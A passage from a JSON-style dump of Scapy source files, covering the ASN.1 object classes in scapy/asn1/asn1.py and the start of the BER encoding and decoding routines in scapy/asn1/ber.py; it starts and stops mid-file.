UTF8_STRING = cast(ASN1Tag, 12)\n    RELATIVE_OID = cast(ASN1Tag, 13)\n    SEQUENCE = cast(ASN1Tag, 16 | 0x20)     # constructed encoding\n    SET = cast(ASN1Tag, 17 | 0x20)          # constructed encoding\n    NUMERIC_STRING = cast(ASN1Tag, 18)\n    PRINTABLE_STRING = cast(ASN1Tag, 19)\n    T61_STRING = cast(ASN1Tag, 20)          # aka TELETEX_STRING\n    VIDEOTEX_STRING = cast(ASN1Tag, 21)\n    IA5_STRING = cast(ASN1Tag, 22)\n    UTC_TIME = cast(ASN1Tag, 23)\n    GENERALIZED_TIME = cast(ASN1Tag, 24)\n    GRAPHIC_STRING = cast(ASN1Tag, 25)\n    ISO646_STRING = cast(ASN1Tag, 26)       # aka VISIBLE_STRING\n    GENERAL_STRING = cast(ASN1Tag, 27)\n    UNIVERSAL_STRING = cast(ASN1Tag, 28)\n    CHAR_STRING = cast(ASN1Tag, 29)\n    BMP_STRING = cast(ASN1Tag, 30)\n    IPADDRESS = cast(ASN1Tag, 0 | 0x40)     # application-specific encoding\n    COUNTER32 = cast(ASN1Tag, 1 | 0x40)     # application-specific encoding\n    COUNTER64 = cast(ASN1Tag, 6 | 0x40)     # application-specific encoding\n    GAUGE32 = cast(ASN1Tag, 2 | 0x40)       # application-specific encoding\n    TIME_TICKS = cast(ASN1Tag, 3 | 0x40)    # application-specific encoding\n\n\nclass ASN1_Object_metaclass(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[ASN1_Object[Any]]\n        c = cast(\n            'Type[ASN1_Object[Any]]',\n            super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct)\n        )\n        try:\n            c.tag.register_asn1_object(c)\n        except Exception:\n            warning(\"Error registering %r\" % c.tag)\n        return c\n\n\n_K = TypeVar('_K')\n\n\nclass ASN1_Object(Generic[_K], metaclass=ASN1_Object_metaclass):\n    tag = ASN1_Class_UNIVERSAL.ANY\n\n    def __init__(self, val):\n        # type: (_K) -> None\n        self.val = val\n\n    def enc(self, codec):\n        # type: (Any) -> bytes\n        return self.tag.get_codec(codec).enc(self.val)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]>\" % (self.__dict__.get(\"name\", self.__class__.__name__), self.val)  # noqa: E501\n\n    def __str__(self):\n        # type: () -> str\n        return plain_str(self.enc(conf.ASN1_default_codec))\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return self.enc(conf.ASN1_default_codec)\n\n    def strshow(self, lvl=0):\n        # type: (int) -> str\n        return (\"  \" * lvl) + repr(self) + \"\\n\"\n\n    def show(self, lvl=0):\n        # type: (int) -> None\n        print(self.strshow(lvl))\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val == other)\n\n    def __lt__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val < other)\n\n    def __le__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val <= other)\n\n    def __gt__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val > other)\n\n    def __ge__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val >= other)\n\n    def __ne__(self, other):\n        # type: (Any) -> bool\n        return bool(self.val != other)\n\n    def command(self, json=False):\n        # type: (bool) -> Union[Dict[str, str], str]\n        if json:\n            if isinstance(self.val, bytes):\n                val = self.val.decode(\"utf-8\", errors=\"backslashreplace\")\n            else:\n                val = repr(self.val)\n            return {\"type\": self.__class__.__name__, \"value\": val}\n        else:\n            return \"%s(%s)\" % (self.__class__.__name__, repr(self.val))\n\n\n#######################\n#     ASN1 objects    #\n#######################\n\n# on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value\n\nclass _ASN1_ERROR(ASN1_Object[Union[bytes, ASN1_Object[Any]]]):\n    pass\n\n\nclass ASN1_DECODING_ERROR(_ASN1_ERROR):\n    tag = ASN1_Class_UNIVERSAL.ERROR\n\n    def __init__(self, val, exc=None):\n        # type: (Union[bytes, ASN1_Object[Any]], Optional[Exception]) -> None\n        ASN1_Object.__init__(self, val)\n        self.exc = exc\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]{{%r}}>\" % (\n            self.__dict__.get(\"name\", self.__class__.__name__),\n            self.val,\n            self.exc and self.exc.args[0] or \"\"\n        )\n\n    def enc(self, codec):\n        # type: (Any) -> bytes\n        if isinstance(self.val, ASN1_Object):\n            return self.val.enc(codec)\n        return self.val\n\n\nclass ASN1_force(_ASN1_ERROR):\n    tag = ASN1_Class_UNIVERSAL.RAW\n\n    def enc(self, codec):\n        # type: (Any) -> bytes\n        if isinstance(self.val, ASN1_Object):\n            return self.val.enc(codec)\n        return self.val\n\n\nclass ASN1_BADTAG(ASN1_force):\n    pass\n\n\nclass ASN1_INTEGER(ASN1_Object[int]):\n    tag = ASN1_Class_UNIVERSAL.INTEGER\n\n    def __repr__(self):\n        # type: () -> str\n        h = hex(self.val)\n        if h[-1] == \"L\":\n            h = h[:-1]\n        # cut at 22 because with leading '0x', x509 serials should be < 23\n        if len(h) > 22:\n            h = h[:12] + \"...\" + h[-10:]\n        r = repr(self.val)\n        if len(r) > 20:\n            r = r[:10] + \"...\" + r[-10:]\n        return h + \" <%s[%s]>\" % (self.__dict__.get(\"name\", self.__class__.__name__), r)  # noqa: E501\n\n\nclass ASN1_BOOLEAN(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.BOOLEAN\n    # BER: 0 means False, anything else means True\n\n    def __repr__(self):\n        # type: () -> str\n        return '%s %s' % (not (self.val == 0), ASN1_Object.__repr__(self))\n\n\nclass ASN1_BIT_STRING(ASN1_Object[str]):\n    \"\"\"\n     ASN1_BIT_STRING values are bit strings like \"011101\".\n     A zero-bit padded readable string is provided nonetheless,\n     which is stored in val_readable\n    \"\"\"\n    tag = ASN1_Class_UNIVERSAL.BIT_STRING\n\n    def __init__(self, val, readable=False):\n        # type: (AnyStr, bool) -> None\n        if not readable:\n            self.val = cast(str, val)  # type: ignore\n        else:\n            self.val_readable = cast(bytes, val)  # type: ignore\n\n    def __setattr__(self, name, value):\n        # type: (str, Any) -> None\n        if name == \"val_readable\":\n            if isinstance(value, (str, bytes)):\n                val = \"\".join(binrepr(orb(x)).zfill(8) for x in value)\n            else:\n                warning(\"Invalid val: should be bytes\")\n                val = \"<invalid val_readable>\"\n            object.__setattr__(self, \"val\", val)\n            object.__setattr__(self, name, bytes_encode(value))\n            object.__setattr__(self, \"unused_bits\", 0)\n        elif name == \"val\":\n            value = plain_str(value)\n            if isinstance(value, str):\n                if any(c for c in value if c not in [\"0\", \"1\"]):\n                    warning(\"Invalid operation: 'val' is not a valid bit string.\")  # noqa: E501\n                    return\n                else:\n                    if len(value) % 8 == 0:\n                        unused_bits = 0\n                    else:\n                        unused_bits = 8 - (len(value) % 8)\n                    padded_value = value + (\"0\" * unused_bits)\n                    bytes_arr = zip(*[iter(padded_value)] * 8)\n                    val_readable = b\"\".join(chb(int(\"\".join(x), 2)) for x in bytes_arr)  # noqa: E501\n            else:\n                warning(\"Invalid val: should be str\")\n                val_readable = b\"<invalid val>\"\n                unused_bits = 0\n            object.__setattr__(self, \"val_readable\", val_readable)\n            object.__setattr__(self, name, value)\n            object.__setattr__(self, \"unused_bits\", unused_bits)\n        elif name == \"unused_bits\":\n            warning(\"Invalid operation: unused_bits rewriting \"\n                    \"is not supported.\")\n        else:\n            object.__setattr__(self, name, value)\n\n    def set(self, i, val):\n        # type: (int, str) -> None\n        \"\"\"\n        Sets bit 'i' to value 'val' (starting from 0)\n        \"\"\"\n        val = str(val)\n        assert val in ['0', '1']\n        if len(self.val) < i:\n            self.val += \"0\" * (i - len(self.val))\n        self.val = self.val[:i] + val + self.val[i + 1:]\n\n    def __repr__(self):\n        # type: () -> str\n        s = self.val_readable\n        if len(s) > 16:\n            s = s[:10] + b\"...\" + s[-10:]\n        v = self.val\n        if len(v) > 20:\n            v = v[:10] + \"...\" + v[-10:]\n        return \"<%s[%s]=%r (%d unused bit%s)>\" % (\n            self.__dict__.get(\"name\", self.__class__.__name__),\n            v,\n            s,\n            self.unused_bits,  # type: ignore\n            \"s\" if self.unused_bits > 1 else \"\"  # type: ignore\n        )\n\n\nclass ASN1_STRING(ASN1_Object[bytes]):\n    tag = ASN1_Class_UNIVERSAL.STRING\n\n\nclass ASN1_NULL(ASN1_Object[None]):\n    tag = ASN1_Class_UNIVERSAL.NULL\n\n    def __repr__(self):\n        # type: () -> str\n        return ASN1_Object.__repr__(self)\n\n\nclass ASN1_OID(ASN1_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.OID\n\n    def __init__(self, val):\n        # type: (str) -> None\n        val = plain_str(val)\n        val = conf.mib._oid(val)\n        ASN1_Object.__init__(self, val)\n        self.oidname = conf.mib._oidname(val)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]>\" % (self.__dict__.get(\"name\", self.__class__.__name__), self.oidname)  # noqa: E501\n\n\nclass ASN1_ENUMERATED(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.ENUMERATED\n\n\nclass ASN1_UTF8_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.UTF8_STRING\n\n\nclass ASN1_NUMERIC_STRING(ASN1_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING\n\n\nclass ASN1_PRINTABLE_STRING(ASN1_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING\n\n\nclass ASN1_T61_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.T61_STRING\n\n\nclass ASN1_VIDEOTEX_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING\n\n\nclass ASN1_IA5_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.IA5_STRING\n\n\nclass ASN1_GENERAL_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.GENERAL_STRING\n\n\nclass ASN1_GENERALIZED_TIME(ASN1_Object[str]):\n    \"\"\"\n    Improved version of ASN1_GENERALIZED_TIME, properly handling time zones and\n    all string representation formats defined by ASN.1. These are:\n\n    1. Local time only:                        YYYYMMDDHH[MM[SS[.fff]]]\n    2. Universal time (UTC time) only:         YYYYMMDDHH[MM[SS[.fff]]]Z\n    3. Difference between local and UTC times: YYYYMMDDHH[MM[SS[.fff]]]+-HHMM\n\n    It also handles ASN1_UTC_TIME, which allows:\n\n    1. Universal time (UTC time) only:         YYMMDDHHMM[SS[.fff]]Z\n    2. Difference between local and UTC times: YYMMDDHHMM[SS[.fff]]+-HHMM\n\n    Note the differences: Year is only two digits, minutes are not optional and\n    there is no milliseconds.\n    \"\"\"\n    tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME\n    pretty_time = None\n\n    def __init__(self, val):\n        # type: (Union[str, datetime]) -> None\n        if isinstance(val, datetime):\n            self.__setattr__(\"datetime\", val)\n        else:\n            super(ASN1_GENERALIZED_TIME, self).__init__(val)\n\n    def __setattr__(self, name, value):\n        # type: (str, Any) -> None\n        if isinstance(value, bytes):\n            value = plain_str(value)\n\n        if name == \"val\":\n            formats = {\n                10: \"%Y%m%d%H\",\n                12: \"%Y%m%d%H%M\",\n                14: \"%Y%m%d%H%M%S\"\n            }\n            dt = None  # type: Optional[datetime]\n            try:\n                if value[-1] == \"Z\":\n                    str, ofs = value[:-1], value[-1:]\n                elif value[-5] in (\"+\", \"-\"):\n                    str, ofs = value[:-5], value[-5:]\n                elif isinstance(self, ASN1_UTC_TIME):\n                    raise ValueError()\n                else:\n                    str, ofs = value, \"\"\n\n                if isinstance(self, ASN1_UTC_TIME) and len(str) >= 10:\n                    fmt = \"%y\" + formats[len(str) + 2][2:]\n                elif str[-4] == \".\":\n                    fmt = formats[len(str) - 4] + \".%f\"\n                else:\n                    fmt = formats[len(str)]\n\n                dt = datetime.strptime(str, fmt)\n                if ofs == 'Z':\n                    dt = dt.replace(tzinfo=timezone.utc)\n                elif ofs:\n                    sign = -1 if ofs[0] == \"-\" else 1\n                    ofs = datetime.strptime(ofs[1:], \"%H%M\")\n                    delta = timedelta(hours=ofs.hour * sign,\n                                      minutes=ofs.minute * sign)\n                    dt = dt.replace(tzinfo=timezone(delta))\n            except Exception:\n                dt = None\n\n            pretty_time = None\n            if dt is None:\n                _nam = self.tag._asn1_obj.__name__[5:]\n                _nam = _nam.lower().replace(\"_\", \" \")\n                pretty_time = \"%s [invalid %s]\" % (value, _nam)\n            else:\n                pretty_time = dt.strftime(\"%Y-%m-%d %H:%M:%S\")\n                if dt.microsecond:\n                    pretty_time += dt.strftime(\".%f\")[:4]\n                if dt.tzinfo == timezone.utc:\n                    pretty_time += dt.strftime(\" UTC\")\n                elif dt.tzinfo is not None:\n                    if dt.tzinfo.utcoffset(dt) is not None:\n                        pretty_time += dt.strftime(\" %z\")\n\n            ASN1_STRING.__setattr__(self, \"pretty_time\", pretty_time)\n            ASN1_STRING.__setattr__(self, \"datetime\", dt)\n            ASN1_STRING.__setattr__(self, name, value)\n        elif name == \"pretty_time\":\n            print(\"Invalid operation: pretty_time rewriting is not supported.\")\n        elif name == \"datetime\":\n            ASN1_STRING.__setattr__(self, name, value)\n            if isinstance(value, datetime):\n                yfmt = \"%y\" if isinstance(self, ASN1_UTC_TIME) else \"%Y\"\n                if value.microsecond:\n                    str = value.strftime(yfmt + \"%m%d%H%M%S.%f\")[:-3]\n                else:\n                    str = value.strftime(yfmt + \"%m%d%H%M%S\")\n\n                if value.tzinfo == timezone.utc:\n                    str = str + \"Z\"\n                else:\n                    str = str + value.strftime(\"%z\")  # empty if naive\n\n                ASN1_STRING.__setattr__(self, \"val\", str)\n            else:\n                ASN1_STRING.__setattr__(self, \"val\", None)\n        else:\n            ASN1_STRING.__setattr__(self, name, value)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"%s %s\" % (\n            self.pretty_time,\n            super(ASN1_GENERALIZED_TIME, self).__repr__()\n        )\n\n\nclass ASN1_UTC_TIME(ASN1_GENERALIZED_TIME):\n    tag = ASN1_Class_UNIVERSAL.UTC_TIME\n\n\nclass ASN1_ISO646_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.ISO646_STRING\n\n\nclass ASN1_UNIVERSAL_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING\n\n\nclass ASN1_BMP_STRING(ASN1_STRING):\n    tag = ASN1_Class_UNIVERSAL.BMP_STRING\n\n    def __setattr__(self, name, value):\n        # type: (str, Any) -> None\n        if name == \"val\":\n            if isinstance(value, str):\n                value = value.encode(\"utf-16be\")\n            object.__setattr__(self, name, value)\n        else:\n            object.__setattr__(self, name, value)\n\n    def __repr__(self):\n        # type: () -> str\n        return \"<%s[%r]>\" % (\n            self.__dict__.get(\"name\", self.__class__.__name__),\n            self.val.decode(\"utf-16be\"),\n        )\n\n\nclass ASN1_SEQUENCE(ASN1_Object[List[Any]]):\n    tag = ASN1_Class_UNIVERSAL.SEQUENCE\n\n    def strshow(self, lvl=0):\n        # type: (int) -> str\n        s = (\"  \" * lvl) + (\"# %s:\" % self.__class__.__name__) + \"\\n\"\n        for o in self.val:\n            s += o.strshow(lvl=lvl + 1)\n        return s\n\n\nclass ASN1_SET(ASN1_SEQUENCE):\n    tag = ASN1_Class_UNIVERSAL.SET\n\n\nclass ASN1_IPADDRESS(ASN1_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.IPADDRESS\n\n\nclass ASN1_COUNTER32(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.COUNTER32\n\n\nclass ASN1_COUNTER64(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.COUNTER64\n\n\nclass ASN1_GAUGE32(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.GAUGE32\n\n\nclass ASN1_TIME_TICKS(ASN1_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.TIME_TICKS\n\n\nconf.ASN1_default_codec = ASN1_Codecs.BER\n"
  },
  {
    "path": "scapy/asn1/ber.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Acknowledgment: Maxence Tury <maxence.tury@ssi.gouv.fr>\n# Acknowledgment: Ralph Broenink\n\n\"\"\"\nBasic Encoding Rules (BER) for ASN.1\n\"\"\"\n\n# Good read: https://luca.ntop.org/Teaching/Appunti/asn1.html\n\nfrom scapy.error import warning\nfrom scapy.compat import chb, orb, bytes_encode\nfrom scapy.utils import binrepr, inet_aton, inet_ntoa\nfrom scapy.asn1.asn1 import (\n    ASN1Tag,\n    ASN1_BADTAG,\n    ASN1_BadTag_Decoding_Error,\n    ASN1_Class,\n    ASN1_Class_UNIVERSAL,\n    ASN1_Codecs,\n    ASN1_DECODING_ERROR,\n    ASN1_Decoding_Error,\n    ASN1_Encoding_Error,\n    ASN1_Error,\n    ASN1_Object,\n    _ASN1_ERROR,\n)\n\nfrom typing import (\n    Any,\n    AnyStr,\n    Dict,\n    Generic,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    TypeVar,\n    Union,\n    cast,\n)\n\n##################\n#  BER encoding  #\n##################\n\n\n#    [ BER tools ]    #\n\n\nclass BER_Exception(Exception):\n    pass\n\n\nclass BER_Encoding_Error(ASN1_Encoding_Error):\n    def __init__(self,\n                 msg,  # type: str\n                 encoded=None,  # type: Optional[Union[BERcodec_Object[Any], str]]  # noqa: E501\n                 remaining=b\"\"  # type: bytes\n                 ):\n        # type: (...) -> None\n        Exception.__init__(self, msg)\n        self.remaining = remaining\n        self.encoded = encoded\n\n    def __str__(self):\n        # type: () -> str\n        s = Exception.__str__(self)\n        if isinstance(self.encoded, ASN1_Object):\n            s += \"\\n### Already encoded ###\\n%s\" % self.encoded.strshow()\n        else:\n            s += \"\\n### Already encoded ###\\n%r\" % self.encoded\n        s += \"\\n### Remaining ###\\n%r\" % self.remaining\n        return s\n\n\nclass BER_Decoding_Error(ASN1_Decoding_Error):\n    def __init__(self,\n                 msg,  # type: str\n                 decoded=None,  # type: Optional[Any]\n                 remaining=b\"\"  # type: bytes\n                 ):\n        # type: (...) -> None\n        Exception.__init__(self, msg)\n        self.remaining = remaining\n        self.decoded = decoded\n\n    def __str__(self):\n        # type: () -> str\n        s = Exception.__str__(self)\n        if isinstance(self.decoded, ASN1_Object):\n            s += \"\\n### Already decoded ###\\n%s\" % self.decoded.strshow()\n        else:\n            s += \"\\n### Already decoded ###\\n%r\" % self.decoded\n        s += \"\\n### Remaining ###\\n%r\" % self.remaining\n        return s\n\n\nclass BER_BadTag_Decoding_Error(BER_Decoding_Error,\n                                ASN1_BadTag_Decoding_Error):\n    pass\n\n\ndef BER_len_enc(ll, size=0):\n    # type: (int, Optional[int]) -> bytes\n    from scapy.config import conf\n    if size is None:\n        size = conf.ASN1_default_long_size\n    if ll <= 127 and size == 0:\n        return chb(ll)\n    s = b\"\"\n    while ll or size > 0:\n        s = chb(ll & 0xff) + s\n        ll >>= 8\n        size -= 1\n    if len(s) > 127:\n        raise BER_Exception(\n            \"BER_len_enc: Length too long (%i) to be encoded [%r]\" %\n            (len(s), s)\n        )\n    return chb(len(s) | 0x80) + s\n\n\ndef BER_len_dec(s):\n    # type: (bytes) -> Tuple[int, bytes]\n    tmp_len = orb(s[0])\n    if not tmp_len & 0x80:\n        return tmp_len, s[1:]\n    tmp_len &= 0x7f\n    if len(s) <= tmp_len:\n        raise BER_Decoding_Error(\n            \"BER_len_dec: Got %i bytes while expecting %i\" %\n            (len(s) - 1, tmp_len),\n            remaining=s\n        )\n    ll = 0\n    for c in s[1:tmp_len + 1]:\n        ll <<= 8\n        ll |= orb(c)\n    return ll, s[tmp_len + 1:]\n\n\ndef BER_num_enc(ll, size=1):\n    # type: (int, int) -> bytes\n    x = []  # type: List[int]\n    while ll or size > 0:\n        x.insert(0, ll & 0x7f)\n        if len(x) > 1:\n            x[0] |= 0x80\n        ll >>= 7\n        size -= 1\n    return b\"\".join(chb(k) for k in x)\n\n\ndef BER_num_dec(s, cls_id=0):\n    # type: (bytes, int) -> Tuple[int, bytes]\n    if len(s) == 0:\n        raise BER_Decoding_Error(\"BER_num_dec: got empty string\", remaining=s)\n    x = cls_id\n    for i, c in enumerate(s):\n        c = orb(c)\n        x <<= 7\n        x |= c & 0x7f\n        if not c & 0x80:\n            break\n    if c & 0x80:\n        raise BER_Decoding_Error(\"BER_num_dec: unfinished number description\",\n                                 remaining=s)\n    return x, s[i + 1:]\n\n\ndef BER_id_dec(s):\n    # type: (bytes) -> Tuple[int, bytes]\n    # This returns the tag ALONG WITH THE PADDED CLASS+CONSTRUCTIVE INFO.\n    # Let's recall that bits 8-7 from the first byte of the tag encode\n    # the class information, while bit 6 means primitive or constructive.\n    #\n    # For instance, with low-tag-number b'\\x81', class would be 0b10\n    # ('context-specific') and tag 0x01, but we return 0x81 as a whole.\n    # For b'\\xff\\x22', class would be 0b11 ('private'), constructed, then\n    # padding, then tag 0x22, but we return (0xff>>5)*128^1 + 0x22*128^0.\n    # Why the 5-bit-shifting? Because it provides an unequivocal encoding\n    # on base 128 (note that 0xff would equal 1*128^1 + 127*128^0...),\n    # as we know that bits 5 to 1 are fixed to 1 anyway.\n    #\n    # As long as there is no class differentiation, we have to keep this info\n    # encoded in scapy's tag in order to reuse it for packet building.\n    # Note that tags thus may have to be hard-coded with their extended\n    # information, e.g. a SEQUENCE from asn1.py has a direct tag 0x20|16.\n    x = orb(s[0])\n    if x & 0x1f != 0x1f:\n        # low-tag-number\n        return x, s[1:]\n    else:\n        # high-tag-number\n        return BER_num_dec(s[1:], cls_id=x >> 5)\n\n\ndef BER_id_enc(n):\n    # type: (int) -> bytes\n    if n < 256:\n        # low-tag-number\n        return chb(n)\n    else:\n        # high-tag-number\n        s = BER_num_enc(n)\n        tag = orb(s[0])             # first byte, as an int\n        tag &= 0x07                 # reset every bit from 8 to 4\n        tag <<= 5                   # move back the info bits on top\n        tag |= 0x1f                 # pad with 1s every bit from 5 to 1\n        return chb(tag) + s[1:]\n\n# The functions below provide implicit and explicit tagging support.\n\n\ndef BER_tagging_dec(s,  # type: bytes\n                    hidden_tag=None,  # type: Optional[int | ASN1Tag]\n                    implicit_tag=None,  # type: Optional[int]\n                    explicit_tag=None,  # type: Optional[int]\n                    safe=False,  # type: Optional[bool]\n                    _fname=\"\",  # type: str\n                    ):\n    # type: (...) -> Tuple[Optional[int], bytes]\n    # We output the 'real_tag' if it is different from the (im|ex)plicit_tag.\n    # 'hidden_tag' is the type tag that is implicited when 'implicit_tag' is used.\n    real_tag = None\n    if len(s) > 0:\n        err_msg = (\n            \"BER_tagging_dec: observed tag 0x%.02x does not \"\n            \"match expected tag 0x%.02x (%s)\"\n        )\n        if implicit_tag is not None:\n            ber_id, s = BER_id_dec(s)\n            if ber_id != implicit_tag:\n                if not safe and ber_id != implicit_tag:\n                    raise BER_Decoding_Error(err_msg % (\n                        ber_id, implicit_tag, _fname),\n                        remaining=s)\n                else:\n                    real_tag = ber_id\n            s = chb(int(hidden_tag)) + s  # type: ignore\n        elif explicit_tag is not None:\n            ber_id, s = BER_id_dec(s)\n            if ber_id != explicit_tag:\n                if not safe:\n                    raise BER_Decoding_Error(\n                        err_msg % (ber_id, explicit_tag, _fname),\n                        remaining=s)\n                else:\n                    real_tag = ber_id\n            l, s = BER_len_dec(s)\n    return real_tag, s\n\n\ndef BER_tagging_enc(s, implicit_tag=None, explicit_tag=None):\n    # type: (bytes, Optional[int], Optional[int]) -> bytes\n    if len(s) > 0:\n        if implicit_tag is not None:\n            s = BER_id_enc(implicit_tag) + s[1:]\n        elif explicit_tag is not None:\n            s = BER_id_enc(explicit_tag) + BER_len_enc(len(s)) + s\n    return s\n\n#    [ BER classes ]    #\n\n\nclass BERcodec_metaclass(type):\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[BERcodec_Object[Any]]\n        c = cast('Type[BERcodec_Object[Any]]',\n                 super(BERcodec_metaclass, cls).__new__(cls, name, bases, dct))\n        try:\n            c.tag.register(c.codec, c)\n        except Exception:\n            warning(\"Error registering %r for %r\" % (c.tag, c.codec))\n        return c\n\n\n_K = TypeVar('_K')\n\n\nclass BERcodec_Object(Generic[_K], metaclass=BERcodec_metaclass):\n    codec = ASN1_Codecs.BER\n    tag = ASN1_Class_UNIVERSAL.ANY\n\n    @classmethod\n    def asn1_object(cls, val):\n        # type: (_K) -> ASN1_Object[_K]\n        return cls.tag.asn1_object(val)\n\n    @classmethod\n    def check_string(cls, s):\n        # type: (bytes) -> None\n        if not s:\n            raise BER_Decoding_Error(\n                \"%s: Got empty object while expecting tag %r\" %\n                (cls.__name__, cls.tag), remaining=s\n            )\n\n    @classmethod\n    def check_type(cls, s):\n        # type: (bytes) -> bytes\n        cls.check_string(s)\n        tag, remainder = BER_id_dec(s)\n        if not isinstance(tag, int) or cls.tag != tag:\n            raise BER_BadTag_Decoding_Error(\n                \"%s: Got tag [%i/%#x] while expecting %r\" %\n                (cls.__name__, tag, tag, cls.tag), remaining=s\n            )\n        return remainder\n\n    @classmethod\n    def check_type_get_len(cls, s):\n        # type: (bytes) -> Tuple[int, bytes]\n        s2 = cls.check_type(s)\n        if not s2:\n            raise BER_Decoding_Error(\"%s: No bytes while expecting a length\" %\n                                     cls.__name__, remaining=s)\n        return BER_len_dec(s2)\n\n    @classmethod\n    def check_type_check_len(cls, s):\n        # type: (bytes) -> Tuple[int, bytes, bytes]\n        l, s3 = cls.check_type_get_len(s)\n        if len(s3) < l:\n            raise BER_Decoding_Error(\"%s: Got %i bytes while expecting %i\" %\n                                     (cls.__name__, len(s3), l), remaining=s)\n        return l, s3[:l], s3[l:]\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[Any], bytes]\n        if context is not None:\n            _context = context\n        else:\n            _context = cls.tag.context\n        cls.check_string(s)\n        p, remainder = BER_id_dec(s)\n        if p not in _context:\n            t = s\n            if len(t) > 18:\n                t = t[:15] + b\"...\"\n            raise BER_Decoding_Error(\"Unknown prefix [%02x] for [%r]\" %\n                                     (p, t), remaining=s)\n        tag = _context[p]\n        codec = cast('Type[BERcodec_Object[_K]]',\n                     tag.get_codec(ASN1_Codecs.BER))\n        if codec == BERcodec_Object:\n            # Value type defined as Unknown\n            l, s = BER_num_dec(remainder)\n            return ASN1_BADTAG(s[:l]), s[l:]\n        return codec.dec(s, _context, safe)\n\n    @classmethod\n    def dec(cls,\n            s,  # type: bytes\n            context=None,  # type: Optional[Type[ASN1_Class]]\n            safe=False,  # type: bool\n            ):\n        # type: (...) -> Tuple[Union[_ASN1_ERROR, ASN1_Object[_K]], bytes]\n        if not safe:\n            return cls.do_dec(s, context, safe)\n        try:\n            return cls.do_dec(s, context, safe)\n        except BER_BadTag_Decoding_Error as e:\n            o, remain = BERcodec_Object.dec(\n                e.remaining, context, safe\n            )  # type: Tuple[ASN1_Object[Any], bytes]\n            return ASN1_BADTAG(o), remain\n        except BER_Decoding_Error as e:\n            return ASN1_DECODING_ERROR(s, exc=e), b\"\"\n        except ASN1_Error as e:\n            return ASN1_DECODING_ERROR(s, exc=e), b\"\"\n\n    @classmethod\n    def safedec(cls,\n                s,  # type: bytes\n                context=None,  # type: Optional[Type[ASN1_Class]]\n                ):\n        # type: (...) -> Tuple[Union[_ASN1_ERROR, ASN1_Object[_K]], bytes]\n        return cls.dec(s, context, safe=True)\n\n    @classmethod\n    def enc(cls, s, size_len=0):\n        # type: (_K, Optional[int]) -> bytes\n        if isinstance(s, (str, bytes)):\n            return BERcodec_STRING.enc(s, size_len=size_len)\n        else:\n            try:\n                return BERcodec_INTEGER.enc(int(s), size_len=size_len)  # type: ignore\n            except TypeError:\n                raise TypeError(\"Trying to encode an invalid value !\")\n\n\nASN1_Codecs.BER.register_stem(BERcodec_Object)\n\n\n##########################\n#    BERcodec objects    #\n##########################\n\nclass BERcodec_INTEGER(BERcodec_Object[int]):\n    tag = ASN1_Class_UNIVERSAL.INTEGER\n\n    @classmethod\n    def enc(cls, i, size_len=0):\n        # type: (int, Optional[int]) -> bytes\n        ls = []\n        while True:\n            ls.append(i & 0xff)\n            if -127 <= i < 0:\n                break\n            if 128 <= i <= 255:\n                ls.append(0)\n            i >>= 8\n            if not i:\n                break\n        s = [chb(int(c)) for c in ls]\n        s.append(BER_len_enc(len(s), size=size_len))\n        s.append(chb(int(cls.tag)))\n        s.reverse()\n        return b\"\".join(s)\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False,  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[int], bytes]\n        l, s, t = cls.check_type_check_len(s)\n        x = 0\n        if s:\n            if orb(s[0]) & 0x80:  # negative int\n                x = -1\n            for c in s:\n                x <<= 8\n                x |= orb(c)\n        return cls.asn1_object(x), t\n\n\nclass BERcodec_BOOLEAN(BERcodec_INTEGER):\n    tag = ASN1_Class_UNIVERSAL.BOOLEAN\n\n\nclass BERcodec_BIT_STRING(BERcodec_Object[str]):\n    tag = ASN1_Class_UNIVERSAL.BIT_STRING\n\n    @classmethod\n    def do_dec(cls,\n               s,  # type: bytes\n               context=None,  # type: Optional[Type[ASN1_Class]]\n               safe=False  # type: bool\n               ):\n        # type: (...) -> Tuple[ASN1_Object[str], bytes]\n        # /!\\ the 